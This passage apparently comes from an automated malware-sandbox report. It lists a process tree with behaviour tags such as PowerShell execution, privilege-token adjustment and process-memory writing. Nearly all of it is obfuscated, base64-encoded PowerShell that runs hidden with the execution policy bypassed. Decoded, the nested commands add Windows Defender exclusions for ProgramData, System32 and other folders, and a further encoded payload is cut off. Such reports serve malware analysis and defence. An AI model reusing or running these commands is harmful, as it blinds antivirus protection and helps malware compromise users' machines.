AUwBBAEIAVgBBAEUARQBBAFcAUQBCAG4AQQBFAEUAQQBkAFEAQgBCAEEARQBjAEEAVABRAEIAQgBBAEcASQBBAGQAdwBCAEMAQQBIAFEAQQBRAFEAQgBEAEEARABnAEEAUQBRAEIAUgBBAEYARQBBAFEAZwBCADAAQQBFAEUAQQBSAHcAQgB2AEEARQBFAEEAVwBRAEIAUgBBAEUASQBBAGEAdwBCAEIAQQBFAFUAQQBTAFEAQgBCAEEARgBrAEEAVQBRAEIAQwBBAEgATQBBAFEAUQBCAEgAQQBIAGMAQQBRAFEAQgBqAEEASABjAEEAUQBRAEIAMgBBAEUARQBBAFIAZwBCAFIAQQBFAEUAQQBVAGcAQgBSAEEARQBJAEEAVgBBAEIAQgBBAEUAWQBBAFUAUQBCAEIAQQBFAHcAQQBkAHcAQgBDAEEASABrAEEAUQBRAEIASABBAEUAVQBBAFEAUQBCAGsAQQBIAGMAQQBRAFEAQgAyAEEARQBFAEEAUwBBAEIASgBBAEUARQBBAFcAZwBCAFIAQQBFAEkAQQBiAFEAQgBCAEEARQBnAEEAVABRAEIAQgBBAEUAdwBBAGQAdwBCAEMAQQBHADgAQQBRAFEAQgBIAEEARgBVAEEAUQBRAEIAWgBBAEYARQBBAFEAZwBCAHIAQQBFAEUAQQBTAEEAQgBOAEEARQBFAEEAVABBAEIAMwBBAEUASQBBAGQAQQBCAEIAQQBFAGMAQQBSAFEAQgBCAEEARwBFAEEAVQBRAEIAQwBBAEgAVQBBAFEAUQBCAEQAQQBEAGcAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEEAMABBAEUARQBBAFMAQQBCAEIAQQBFAEUAQQBZAGcAQgBCAEEARQBJAEEAZABnAEIAQgBBAEUAZwBBAFMAUQBCAEIAQQBGAG8AQQBVAFEAQgBDAEEASABrAEEAUQBRAEIARABBAEQAUQBBAFEAUQBCAGEAQQBGAEUAQQBRAGcAQQAwAEEARQBFAEEAUgB3AEIAVgBBAEUARQBBAFMAZwBCADMAQQBFAEUAQQBTAHcAQgBCAEEARQBNAEEAVQBRAEIAQgBBAEcAUQBBAFUAUQBCAEMAQQBIAGsAQQBRAFEAQgBIAEEASABjAEEAUQBRAEIATwBBAEUARQBBAFEAUQBCAG4AQQBFAEUAQQBSAEEAQQB3AEEARQBFAEEAUwBRAEIAQgBBAEUARQBBAGIAZwBCAEIAQQBFAGMAQQBaAHcAQgBCAEEARwBRAEEAUQBRAEIAQwBBAEQAQQBBAFEAUQBCAEkAQQBFAEUAQQBRAFEAQgBqAEEASABjAEEAUQBRAEEAMgBBAEUARQBBAFEAdwBBADQAQQBFAEUAQQBUAEEAQgAzAEEARQBJAEEAYgBnAEIAQgBBAEUAYwBBAGEAdwBCAEIAQQBHAFEAQQBRAFEAQgBDAEEARwA4AEEAUQBRAEIASQBBAEYAVQBBAFEAUQBCAFoAQQBHAGMAQQBRAFEAQgAxAEEARQBFAEEAUgB3AEIATgBBAEUARQBBAFkAZwBCADMAQQBFAEkAQQBkAEEAQgBCAEEARQBNAEEATwBBAEIAQgBBAEYARQBBAFUAUQBCAEMAQQBIAFEAQQBRAFEAQgBIAEEARwA4AEEAUQBRAEIAWgBBAEYARQBBAFEAZwBCAHIAQQBFAEUAQQBSAFEAQgBKAEEARQBFAEEAVwBRAEIAUgBBAEUASQBBAGMAdwBCAEIAQQBFAGMAQQBkAHcAQgBCAEEARwBNAEEAZAB3AEIAQgBBAEgAWQBBAFEAUQBCAEcAQQBGAEUAQQBRAFEAQgBTAEEARgBFAEEAUQBnAEIAVQBBAEUARQBBAFIAZwBCAFIAQQBFAEUAQQBUAEEAQgAzAEEARQBJAEEAZQBRAEIAQgBBAEUAYwBBAFIAUQBCAEIAQQBHAFEAQQBkAHcAQgBCAEEASABZAEEAUQBRAEIASQBBAEUAawBBAFEAUQBCAGEAQQBGAEUAQQBRAGcAQgB0AEEARQBFAEEAUwBBAEIATgBBAEUARQBBAFQAQQBCADMAQQBFAEkAQQBiAHcAQgBCAEEARQBjAEEAVgBRAEIAQgBBAEYAawBBAFUAUQBCAEMAQQBHAHMAQQBRAFEAQgBJAEEARQAwAEEAUQBRAEIATQBBAEgAYwBBAFEAZwBCADAAQQBFAEUAQQBSAHcAQgBGAEEARQBFAEEAWQBRAEIAUgBBAEUASQBBAGQAUQBCAEIAQQBFAE0AQQBPAEEAQgBCAEEARwBNAEEAZAB3AEIAQwBBAEQASQBBAFEAUQBCAEgAQQBFADAAQQBRAFEAQgBoAEEARQBFAEEAUQBnAEIAMgBBAEUARQBBAFMAQQBCAE4AQQBFAEUAQQBaAEEAQgBCAEEARQBFAEEAZABRAEIAQgBBAEUAYwBBAFYAUQBCAEIAQQBHAFUAQQBRAFEAQgBDAEEARwB3AEEAUQBRAEIARABBAEcATQBBAFEAUQBCAEQAQQBHAGMAQQBRAFEAQgBMAEEARQBFAEEAUQB3AEIAUgBBAEUARQBBAFkAZwBCAEIAQQBFAEkAQQBkAGcAQgBCAEEARQBjAEEAVABRAEIAQgBBAEYAawBBAFUAUQBCAEMAQQBEAEEAQQBRAFEAQgBIAEEARwBzAEEAUQBRAEIAaQBBAEgAYwBBAFEAZwBCADEAQQBFAEUAQQBTAEEAQgBOAEEARQBFAEEAUwBRAEIAQgBBAEUARQBBAE8AUQBCAEIAQQBFAE0AQQBRAFEAQgBCAEEARgBFAEEAUQBRAEIAQgBBAEcAOABBAFEAUQBCAEIAQQBHADgAQQBRAFEAQgBKAEEARQBFAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBCAEIAQQBFAEUAQQBTAFEAQgBCAEEARQBFAEEAYgBnAEIAQgBBAEUAVQBBAFQAUQBCAEIAQQBFADgAQQBaAHcAQgBDAEEARwBNAEEAUQBRAEIARwBBAEYAVQBBAFEAUQBCAGoAQQBIAGMAQQBRAGcAQgBzAEEARQBFAEEAUwBBAEIASgBBAEUARQBBAFkAdwBCADMAQQBFAEkAQQBZAHcAQgBCAEEARQBZAEEAUQBRAEIAQgBBAEcAUQBBAFUAUQBCAEMAQQBHAGsAQQBRAFEAQgBIAEEASABjAEEAUQBRAEIAaABBAEYARQBBAFEAZwBCAHEAQQBFAEUAQQBSAGcAQgAzAEEARQBFAEEAVQBnAEIAQgBBAEUASQBBAGQAZwBCAEIAQQBFAGcAQQBZAHcAQgBCAEEARwBJAEEAWgB3AEIAQwBBAEgATQBBAFEAUQBCAEgAQQBEAGcAQQBRAFEAQgBaAEEARgBFAEEAUQBnAEIAcgBBAEUARQBBAFMAQQBCAE4AQQBFAEUAQQBXAEEAQgBCAEEARQBJAEEAUgBRAEIAQgBBAEUAYwBBAGEAdwBCAEIAQQBHAE0AQQBkAHcAQgBDAEEARwBvAEEAUQBRAEIASABBAEQAZwBBAFEAUQBCAGoAQQBHAGMAQQBRAGcAQgByAEEARQBFAEEAUQB3AEEAMABBAEUARQBBAFcAZwBCAFIAQQBFAEkAQQBOAEEAQgBCAEEARQBjAEEAVgBRAEIAQgBBAEUAbwBBAGQAdwBCAEIAQQBIAE0AQQBRAFEAQgBCAEEARwA4AEEAUQBRAEIASgBBAEUARQBBAFEAUQBCAG4AQQBFAEUAQQBRAHcAQgBCAEEARQBFAEEAUwBRAEIAQgBBAEUARQBBAGIAZwBCAEIAQQBFAFUAQQBUAFEAQgBCAEEARQA4AEEAWgB3AEIAQwBBAEcATQBBAFEAUQBCAEcAQQBGAFUAQQBRAFEAQgBqAEEASABjAEEAUQBnAEIAcwBBAEUARQBBAFMAQQBCAEoAQQBFAEUAQQBZAHcAQgAzAEEARQBJAEEAWQB3AEIAQgBBAEUAWQBBAFEAUQBCAEIAQQBHAFEAQQBVAFEAQgBDAEEARwBrAEEAUQBRAEIASABBAEgAYwBBAFEAUQBCAGgAQQBGAEUAQQBRAGcAQgBxAEEARQBFAEEAUgBnAEIAMwBBAEUARQBBAFUAZwBCAEIAQQBFAEkAQQBkAGcAQgBCAEEARQBnAEEAWQB3AEIAQgBBAEcASQBBAFoAdwBCAEMAQQBIAE0AQQBRAFEAQgBIAEEARABnAEEAUQBRAEIAWgBBAEYARQBBAFEAZwBCAHIAQQBFAEUAQQBTAEEAQgBOAEEARQBFAEEAVwBBAEIAQgBBAEUASQBBAFMAQQBCAEIAQQBFAGMAQQBPAEEAQgBCAEEARwBJAEEAZAB3AEIAQwBBAEcANABBAFEAUQBCAEgAQQBIAGMAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEIARQBBAEUARQBBAFIAdwBCAG4AQQBFAEUAQQBZAHcAQgBuAEEARQBJAEEAZABnAEIAQgBBAEUAYwBBAE0AQQBCAEIAQQBGAG8AQQBVAFEAQgBCAEEASABVAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAGwAQQBFAEUAQQBRAGcAQgBzAEEARQBFAEEAUQB3AEIAagBBAEUARQBBAFQAQQBCAEIAQQBFAEUAQQBTAHcAQgBCAEEARQBNAEEAUQBRAEIAQgBBAEUAawBBAFEAUQBCAEIAQQBHAGMAQQBRAFEAQgBEAEEARQBFAEEAUQBRAEIASwBBAEgAYwBBAFEAZwBCAEUAQQBFAEUAQQBSAEEAQgB2AEEARQBFAEEAVwBBAEIAQgBBAEUASQBBAFYAZwBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARgBvAEEAVQBRAEIAQwBBAEgAawBBAFEAUQBCAEkAQQBFADAAQQBRAFEAQgBZAEEARQBFAEEAUQBnAEIAUgBBAEUARQBBAFMAQQBCAFYAQQBFAEUAQQBXAFEAQgBuAEEARQBJAEEAYwB3AEIAQgBBAEUAYwBBAGEAdwBCAEIAQQBGAGsAQQBkAHcAQgBDAEEARwBNAEEAUQBRAEIARgBBAEYARQBBAFEAUQBCAGkAQQBIAGMAQQBRAGcAQQB6AEEARQBFAEEAUgB3AEEAMABBAEUARQBBAFkAZwBCAEIAQQBFAEkAQQBkAGcAQgBCAEEARQBjAEEAUgBRAEIAQgBBAEYAbwBBAFEAUQBCAEMAQQBIAG8AQQBRAFEAQgBHAEEASABjAEEAUQBRAEIAYQBBAEYARQBBAFEAZwBBADAAQQBFAEUAQQBTAEEAQgBCAEEARQBFAEEAWQBnAEIAQgBBAEUASQBBAGQAZwBCAEIAQQBFAGcAQQBTAFEAQgBCAEEARgBvAEEAVQBRAEIAQwBBAEgAawBBAFEAUQBCAEQAQQBEAFEAQQBRAFEAQgBhAEEARgBFAEEAUQBnAEEAMABBAEUARQBBAFIAdwBCAFYAQQBFAEUAQQBTAGcAQgAzAEEARQBFAEEAYwB3AEIAQgBBAEUARQBBAGIAdwBCAEIAQQBFAGsAQQBRAFEAQgBCAEEARwBjAEEAUQBRAEIARABBAEUARQBBAFEAUQBCAEoAQQBFAEUAQQBRAFEAQgB1AEEARQBFAEEAUgBRAEIATgBBAEUARQBBAFQAdwBCAG4AQQBFAEkAQQBZAHcAQgBCAEEARQBZAEEAVgBRAEIAQgBBAEcATQBBAGQAdwBCAEMAQQBHAHcAQQBRAFEAQgBJAEEARQBrAEEAUQBRAEIAagBBAEgAYwBBAFEAZwBCAGoAQQBFAEUAQQBSAGcAQgBCAEEARQBFAEEAWgBBAEIAUgBBAEUASQBBAGEAUQBCAEIAQQBFAGMAQQBkAHcAQgBCAEEARwBFAEEAVQBRAEIAQwBBAEcAbwBBAFEAUQBCAEcAQQBIAGMAQQBRAFEAQgBTAEEARQBFAEEAUQBnAEIAMgBBAEUARQBBAFMAQQBCAGoAQQBFAEUAQQBZAGcAQgBuAEEARQBJAEEAYwB3AEIAQgBBAEUAYwBBAE8AQQBCAEIAQQBGAGsAQQBVAFEAQgBDAEEARwBzAEEAUQBRAEIASQBBAEUAMABBAFEAUQBCAFkAQQBFAEUAQQBRAGcAQgA2AEEARQBFAEEAUwBBAEIAWgBBAEUARQBBAFcAUQBCADMAQQBFAEkAQQBiAHcAQgBCAEEARQBjAEEATwBBAEIAQgBBAEcATQBBAGQAdwBCAEMAQQBEAEEAQQBRAFEAQgBEAEEARABRAEEAUQBRAEIAYQBBAEYARQBBAFEAZwBBADAAQQBFAEUAQQBSAHcAQgBWAEEARQBFAEEAUwBnAEIAMwBBAEUARQBBAFMAdwBCAEIAQQBFAE0AQQBhAHcAQgBCAEEARQBNAEEAWgB3AEIAQgBBAEUAcwBBAFEAUQBCAEYAQQBHAHMAQQBRAFEAQgBpAEEARwBjAEEAUQBnAEEAeQBBAEUARQBBAFIAdwBBADQAQQBFAEUAQQBZAFEAQgAzAEEARQBJAEEAYgBBAEIAQgBBAEUATQBBAE0AQQBCAEIAQQBGAFkAQQBkAHcAQgBDAEEARwB3AEEAUQBRAEIASABBAEUAawBBAFEAUQBCAFYAQQBHAGMAQQBRAGcAQgBzAEEARQBFAEEAUwBBAEIARgBBAEUARQBBAFoAQQBCAFIAQQBFAEkAQQBiAEEAQgBCAEEARQBnAEEAVABRAEIAQgBBAEcAUQBBAFEAUQBCAEIAQQBHAGMAQQBRAFEAQgBEAEEARABBAEEAUQBRAEIAVwBBAEYARQBBAFEAZwBCADUAQQBFAEUAQQBSAHcAQgByAEEARQBFAEEAUwBRAEIAQgBBAEUARQBBAGEAdwBCAEIAQQBFAGcAQQBWAFEAQgBCAEEARwBNAEEAWgB3AEIAQwBBAEgATQBBAFEAUQBCAEUAQQBFAFUAQQBRAFEAQgBKAEEARQBFAEEAUQBRAEIAMABBAEUARQBBAFIAUQBBADQAQQBFAEUAQQBaAEEAQgBSAEEARQBJAEEATQBBAEIAQgBBAEUAVQBBAFcAUQBCAEIAQQBHAEUAQQBVAFEAQgBDAEEASABNAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAEoAQQBFAEUAQQBRAFEAQgByAEEARQBFAEEAUgB3AEIAMwBBAEUARQBBAFkAZwBCADMAQQBFAEkAQQBhAGcAQgBCAEEARQBjAEEAUgBRAEIAQgBBAEcAUQBBAFEAUQBCAEMAQQBIAEEAQQBRAFEAQgBIAEEARABnAEEAUQBRAEIAaQBBAEcAYwBBAFEAZwBCADYAQQBFAEUAQQBSAGcAQgB6AEEARQBFAEEAVABRAEIAQgBBAEUASQBBAFoAQQBCAEIAQQBFAEUAQQBiAHcAQgBCAEEARgBNAEEAVQBRAEIAQwBBAEgAVQBBAFEAUQBCAEkAQQBGAGsAQQBRAFEAQgBpAEEASABjAEEAUQBnAEIAeQBBAEUARQBBAFIAdwBCAFYAQQBFAEUAQQBUAEEAQgBSAEEARQBJAEEAVwBBAEIAQgBBAEUAYwBBAFYAUQBCAEIAQQBGAGsAQQBaAHcAQgBDAEEARgBNAEEAUQBRAEIASABBAEYAVQBBAFEAUQBCAGoAQQBGAEUAQQBRAGcAQQB4AEEARQBFAEEAUgB3AEIAVgBBAEUARQBBAFkAdwBCADMAQQBFAEkAQQBNAEEAQgBCAEEARQBNAEEAUQBRAEIAQgBBAEUAdwBBAFUAUQBCAEMAQQBGAFkAQQBRAFEAQgBJAEEARQBrAEEAUQBRAEIAaABBAEYARQBBAFEAUQBCAG4AQQBFAEUAQQBRAHcAQgBSAEEARQBFAEEAWgBBAEIAUgBBAEUASQBBAGUAUQBCAEIAQQBFAGMAQQBkAHcAQgBCAEEARQAwAEEAWgB3AEIAQgBBAEcAYwBBAFEAUQBCAEQAQQBEAEEAQQBRAFEAQgBVAEEASABjAEEAUQBnAEEAeABBAEUARQBBAFMAQQBCAFIAQQBFAEUAQQBVAGcAQgBuAEEARQBJAEEAYwBBAEIAQgBBAEUAYwBBAGQAdwBCAEIAQQBGAG8AQQBVAFEAQgBCAEEARwBjAEEAUQBRAEIARABBAEYARQBBAFEAUQBCAGkAQQBFAEUAQQBRAGcAQgAyAEEARQBFAEEAUgB3AEIATgBBAEUARQBBAFcAUQBCAFIAQQBFAEkAQQBNAEEAQgBCAEEARQBjAEEAYQB3AEIAQgBBAEcASQBBAGQAdwBCAEMAQQBIAFUAQQBRAFEAQgBJAEEARQAwAEEAUQBRAEIAWABBAEgAYwBBAFEAUQBCADQAQQBFAEUAQQBSAGcAQQB3AEEARQBFAEEAUQB3AEIAbgBBAEUASQBBAFMAZwBCAEIAQQBFAGMAQQBOAEEAQgBCAEEARwBRAEEAWgB3AEIAQwBBAEgAWQBBAFEAUQBCAEgAQQBIAE0AQQBRAFEAQgBhAEEARgBFAEEAUQBRAEIAMABBAEUARQBBAFIAZwBCAGoAQQBFAEUAQQBXAGcAQgBSAEEARQBJAEEAYQBRAEIAQgBBAEUAWQBBAFMAUQBCAEIAQQBGAG8AQQBVAFEAQgBDAEEASABnAEEAUQBRAEIASQBBAEYAVQBBAFEAUQBCAGEAQQBGAEUAQQBRAGcAQgA2AEEARQBFAEEAUwBBAEIAUgBBAEUARQBBAFMAUQBCAEIAQQBFAEUAQQBkAEEAQgBCAEEARQBZAEEAVgBRAEIAQgBBAEcATQBBAFoAdwBCAEMAQQBIAEEAQQBRAFEAQgBEAEEARQBFAEEAUQBRAEIASwBBAEUARQBBAFEAZwBBAHgAQQBFAEUAQQBTAEEAQgBKAEEARQBFAEEAWQBnAEIAQgBBAEUARQBBAGUAZwBCAEIAQQBFAE0AQQBRAFEAQgBCAEEARQB3AEEAVQBRAEIAQwBBAEYAQQBBAFEAUQBCAEkAQQBGAFUAQQBRAFEAQgBrAEEARQBFAEEAUQBnAEIASABBAEUARQBBAFIAdwBCAHIAQQBFAEUAQQBZAGcAQgBCAEEARQBJAEEAYgBBAEIAQgBBAEUATQBBAFEAUQBCAEIAQQBFAG8AQQBRAFEAQgBDAEEASABNAEEAUQBRAEIASABBAEQAZwBBAFEAUQBCAFoAQQBIAGMAQQBRAGcAQgBvAEEARQBFAEEAUwBBAEIAUgBBAEUARQBBAFkAUQBCAFIAQQBFAEkAQQBkAGcAQgBCAEEARQBjAEEATgBBAEIAQgBBAEcATQBBAGQAdwBCAEMAQQBHAEkAQQBRAFEAQgBFAEEARQBrAEEAUQBRAEIAWQBBAEYARQBBAFEAUQBCAEwAQQBFAEUAQQBSAFEAQgByAEEARQBFAEEAWQBnAEIAbgBBAEUASQBBAE0AZwBCAEIAQQBFAGMAQQBPAEEAQgBCAEEARwBFAEEAZAB3AEIAQwBBAEcAdwBBAFEAUQBCAEQAQQBEAEEAQQBRAFEAQgBXAEEASABjAEEAUQBnAEIAcwBBAEUARQBBAFIAdwBCAEoAQQBFAEUAQQBWAFEAQgBuAEEARQBJAEEAYgBBAEIAQgBBAEUAZwBBAFIAUQBCAEIAQQBHAFEAQQBVAFEAQgBDAEEARwB3AEEAUQBRAEIASQBBAEUAMABBAFEAUQBCAGsAQQBFAEUAQQBRAFEAQgBuAEEARQBFAEEAUQB3AEEAdwBBAEUARQBBAFYAZwBCAFIAQQBFAEkAQQBlAFEAQgBCAEEARQBjAEEAYQB3AEIAQgBBAEUAawBBAFEAUQBCAEIAQQBHAHMAQQBRAFEAQgBJAEEARgBVAEEAUQBRAEIAagBBAEcAYwBBAFEAZwBCAHoAQQBFAEUAQQBSAEEAQgBSAEEARQBFAEEAUwBRAEIAQgBBAEUARQBBAGQAQQBCAEIAQQBFAFUAQQBPAEEAQgBCAEEARwBRAEEAVQBRAEIAQwBBAEQAQQBBAFEAUQBCAEYAQQBGAGsAQQBRAFEAQgBoAEEARgBFAEEAUQBnAEIAegBBAEUARQBBAFIAdwBCAFYAQQBFAEUAQQBTAFEAQgBCAEEARQBFAEEAYQB3AEIAQgBBAEUAYwBBAGQAdwBCAEIAQQBHAEkAQQBkAHcAQgBDAEEARwBvAEEAUQBRAEIASABBAEUAVQBBAFEAUQBCAGsAQQBFAEUAQQBRAGcAQgB3AEEARQBFAEEAUgB3AEEANABBAEUARQBBAFkAZwBCAG4AQQBFAEkAQQBlAGcAQgBCAEEARQBZAEEAYwB3AEIAQgBBAEUAMABBAGQAdwBCAEMAQQBHAFEAQQBRAFEAQgBCAEEARwA4AEEAUQBRAEIARABBAEcAYwBBAFEAZwBCAHQAQQBFAEUAQQBSAHcAQQA0AEEARQBFAEEAWQB3AEIAbgBBAEUASQBBAGIAQQBCAEIAQQBFAGMAQQBSAFEAQgBCAEEARgBrAEEAZAB3AEIAQwBBAEcAOABBAFEAUQBCAEQAQQBFAEUAQQBRAFEAQgBMAEEARQBFAEEAUQBRAEIAcgBBAEUARQBBAFIAdwBCADMAQQBFAEUAQQBZAGcAQgAzAEEARQBJAEEAYQBnAEIAQgBBAEUAYwBBAFIAUQBCAEIAQQBHAFEAQQBRAFEAQgBDAEEASABBAEEAUQBRAEIASABBAEQAZwBBAFEAUQBCAGkAQQBHAGMAQQBRAFEAQgBuAEEARQBFAEEAUgB3AEIAcgBBAEUARQBBAFkAZwBCAG4AQQBFAEUAQQBaAHcAQgBCAEEARQBNAEEAVQBRAEIAQgBBAEcASQBBAFEAUQBCAEMAQQBIAFkAQQBRAFEAQgBIAEEARQAwAEEAUQBRAEIAWgBBAEYARQBBAFEAZwBBAHcAQQBFAEUAQQBSAHcAQgByAEEARQBFAEEAWQBnAEIAMwBBAEUASQBBAGQAUQBCAEIAQQBFAGcAQQBUAFEAQgBCAEEARQBzAEEAVQBRAEIAQgBBAEcAYwBBAFEAUQBCAEkAQQBIAE0AQQBRAFEAQgBEAEEARwBjAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBCAEIAQQBFAEUAQQBTAFEAQgBCAEEARQBFAEEAWgB3AEIAQgBBAEUAWQBBAFQAUQBCAEIAQQBHAFEAQQBRAFEAQgBDAEEARwBnAEEAUQBRAEIASQBBAEUAawBBAFEAUQBCAGsAQQBFAEUAQQBRAFEAQgAwAEEARQBFAEEAUgBnAEIAQgBBAEUARQBBAFkAdwBCAG4AQQBFAEkAQQBkAGcAQgBCAEEARQBjAEEAVABRAEIAQgBBAEYAbwBBAFUAUQBCAEMAQQBIAG8AQQBRAFEAQgBJAEEARQAwAEEAUQBRAEIASgBBAEUARQBBAFEAUQBCADAAQQBFAEUAQQBSAFEAQgBaAEEARQBFAEEAWQBRAEIAUgBBAEUASQBBAGMAdwBCAEIAQQBFAGMAQQBWAFEAQgBCAEEARgBVAEEAUQBRAEIAQwBBAEcAZwBBAFEAUQBCAEkAQQBGAEUAQQBRAFEAQgBoAEEARQBFAEEAUQBRAEIAbgBBAEUARQBBAFEAdwBCAFIAQQBFAEUAQQBZAGcAQgBCAEEARQBJAEEAZABnAEIAQgBBAEUAYwBBAFQAUQBCAEIAQQBGAGsAQQBVAFEAQgBDAEEARABBAEEAUQBRAEIASABBAEcAcwBBAFEAUQBCAGkAQQBIAGMAQQBRAGcAQgAxAEEARQBFAEEAUQB3AEIAQgBBAEUARQBBAFQAQQBCAFIAQQBFAEkAQQBXAEEAQgBCAEEARQBjAEEAYQB3AEIAQgBBAEcASQBBAFoAdwBCAEMAQQBHAHMAQQBRAFEAQgBIAEEARABnAEEAUQBRAEIAawBBAEgAYwBBAFEAZwBCAFUAQQBFAEUAQQBTAEEAQgBSAEEARQBFAEEAWgBRAEIAUgBBAEUASQBBAGMAdwBCAEIAQQBFAGMAQQBWAFEAQgBCAEEARQBrAEEAUQBRAEIAQwBBAEUAawBBAFEAUQBCAEgAQQBHAHMAQQBRAFEAQgBhAEEARQBFAEEAUQBnAEIAcgBBAEUARQBBAFIAdwBCAFYAQQBFAEUAQQBZAGcAQgBuAEEARQBFAEEAWgB3AEIAQgBBAEUATQBBAE0AQQBCAEIAQQBGAFkAQQBkAHcAQgBDAEEARwBnAEEAUQBRAEIASABBAEcAcwBBAFEAUQBCAGsAQQBFAEUAQQBRAFEAQgBMAEEARQBFAEEAUwBBAEEAdwBBAEUARQBBAEkAZwBBAD0AIgAKAA==
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3404
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand cABvAHcAZQByAHMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFAAbwBsAGkAYwB5ACAAQgB5AHAAYQBzAHMAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBFAG4AYwBvAGQAZQBkAEMAbwBtAG0AYQBuAGQAIAAiAGMAQQBCAHYAQQBIAGMAQQBaAFEAQgB5AEEASABNAEEAYQBBAEIAbABBAEcAdwBBAGIAQQBBAGcAQQBDADAAQQBWAHcAQgBwAEEARwA0AEEAWgBBAEIAdgBBAEgAYwBBAFUAdwBCADAAQQBIAGsAQQBiAEEAQgBsAEEAQwBBAEEAUwBBAEIAcABBAEcAUQBBAFoAQQBCAGwAQQBHADQAQQBJAEEAQQB0AEEARQBNAEEAYgB3AEIAdABBAEcAMABBAFkAUQBCAHUAQQBHAFEAQQBJAEEAQQBpAEEARQBFAEEAWgBBAEIAawBBAEMAMABBAFQAUQBCAHcAQQBGAEEAQQBjAGcAQgBsAEEARwBZAEEAWgBRAEIAeQBBAEcAVQBBAGIAZwBCAGoAQQBHAFUAQQBJAEEAQQB0AEEARQBVAEEAZQBBAEIAagBBAEcAdwBBAGQAUQBCAHoAQQBHAGsAQQBiAHcAQgB1AEEARgBBAEEAWQBRAEIAMABBAEcAZwBBAEkAQQBBAG4AQQBFAE0AQQBPAGcAQgBjAEEARgBBAEEAYwBnAEIAdgBBAEcAYwBBAGMAZwBCAGgAQQBHADAAQQBSAEEAQgBoAEEASABRAEEAWQBRAEEAbgBBAEMASQBBAEMAZwBCAHcAQQBHADgAQQBkAHcAQgBsAEEASABJAEEAYwB3AEIAbwBBAEcAVQBBAGIAQQBCAHMAQQBDAEEAQQBMAFEAQgBYAEEARwBrAEEAYgBnAEIAawBBAEcAOABBAGQAdwBCAFQAQQBIAFEAQQBlAFEAQgBzAEEARwBVAEEASQBBAEIASQBBAEcAawBBAFoAQQBCAGsAQQBHAFUAQQBiAGcAQQBnAEEAQwAwAEEAUQB3AEIAdgBBAEcAMABBAGIAUQBCAGgAQQBHADQAQQBaAEEAQQBnAEEAQwBJAEEAUQBRAEIAawBBAEcAUQBBAEwAUQBCAE4AQQBIAEEAQQBVAEEAQgB5AEEARwBVAEEAWgBnAEIAbABBAEgASQBBAFoAUQBCAHUAQQBHAE0AQQBaAFEAQQBnAEEAQwAwAEEAUgBRAEIANABBAEcATQBBAGIAQQBCADEAQQBIAE0AQQBhAFEAQgB2AEEARwA0AEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgBRAEIAegBBAEcAVQBBAGMAZwBCAHoAQQBGAHcAQQBVAEEAQgAxAEEARwBJAEEAYgBBAEIAcABBAEcATQBBAFgAQQBCAEUAQQBHADgAQQBkAHcAQgB1AEEARwB3AEEAYgB3AEIAaABBAEcAUQBBAGMAdwBBAG4AQQBDAEkAQQBDAGcAQgB3AEEARwA4AEEAZAB3AEIAbABBAEgASQBBAGMAdwBCAG8AQQBHAFUAQQBiAEEAQgBzAEEAQwBBAEEATABRAEIAWABBAEcAawBBAGIAZwBCAGsAQQBHADgAQQBkAHcAQgBUAEEASABRAEEAZQBRAEIAcwBBAEcAVQBBAEkAQQBCAEkAQQBHAGsAQQBaAEEAQgBrAEEARwBVAEEAYgBnAEEAZwBBAEMAMABBAFEAdwBCAHYAQQBHADAAQQBiAFEAQgBoAEEARwA0AEEAWgBBAEEAZwBBAEMASQBBAFEAUQBCAGsAQQBHAFEAQQBMAFEAQgBOAEEASABBAEEAVQBBAEIAeQBBAEcAVQBBAFoAZwBCAGwAQQBIAEkAQQBaAFEAQgB1AEEARwBNAEEAWgBRAEEAZwBBAEMAMABBAFIAUQBCADQAQQBHAE0AQQBiAEEAQgAxAEEASABNAEEAYQBRAEIAdgBBAEcANABBAFUAQQBCAGgAQQBIAFEAQQBhAEEAQQBnAEEAQwBjAEEAUQB3AEEANgBBAEYAdwBBAFYAdwBCAHAAQQBHADQAQQBaAEEAQgB2AEEASABjAEEAYwB3AEIAYwBBAEYATQBBAGUAUQBCAHoAQQBIAFEAQQBaAFEAQgB0AEEARABNAEEATQBnAEEAbgBBAEMASQBBAEMAZwBCAHcAQQBHADgAQQBkAHcAQgBsAEEASABJAEEAYwB3AEIAbwBBAEcAVQBBAGIAQQBCAHMAQQBDAEEAQQBMAFEAQgBYAEEARwBrAEEAYgBnAEIAawBBAEcAOABBAGQAdwBCAFQAQQBIAFEAQQBlAFEAQgBzAEEARwBVAEEASQBBAEIASQBBAEcAawBBAFoAQQBCAGsAQQBHAFUAQQBiAGcAQQBnAEEAQwAwAEEAUQB3AEIAdgBBAEcAMABBAGIAUQBCAGgAQQBHADQAQQBaAEEAQQBnAEEAQwBJAEEAUQBRAEIAawBBAEcAUQBBAEwAUQBCAE4AQQBIAEEAQQBVAEEAQgB5AEEARwBVAEEAWgBnAEIAbABBAEgASQBBAFoAUQBCAHUAQQBHAE0AQQBaAFEAQQBnAEEAQwAwAEEAUgBRAEIANABBAEcATQBBAGIAQQBCADEAQQBIAE0AQQBhAFEAQgB2AEEARwA0AEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAGMAQQBRAHcAQQA2AEEARgB3AEEAVgB3AEIAcABBAEcANABBAFoAQQBCAHYAQQBIAGMAQQBjAHcAQgBjAEEARgBNAEEAZQBRAEIAegBBAEYAYwBBAFQAdwBCAFgAQQBEAFkAQQBOAEEAQQBuAEEAQwBJAEEAQwBnAEIAdwBBAEcAOABBAGQAdwBCAGwAQQBIAEkAQQBjAHcAQgBvAEEARwBVAEEAYgBBAEIAcwBBAEMAQQBBAEwAUQBCAFgAQQBHAG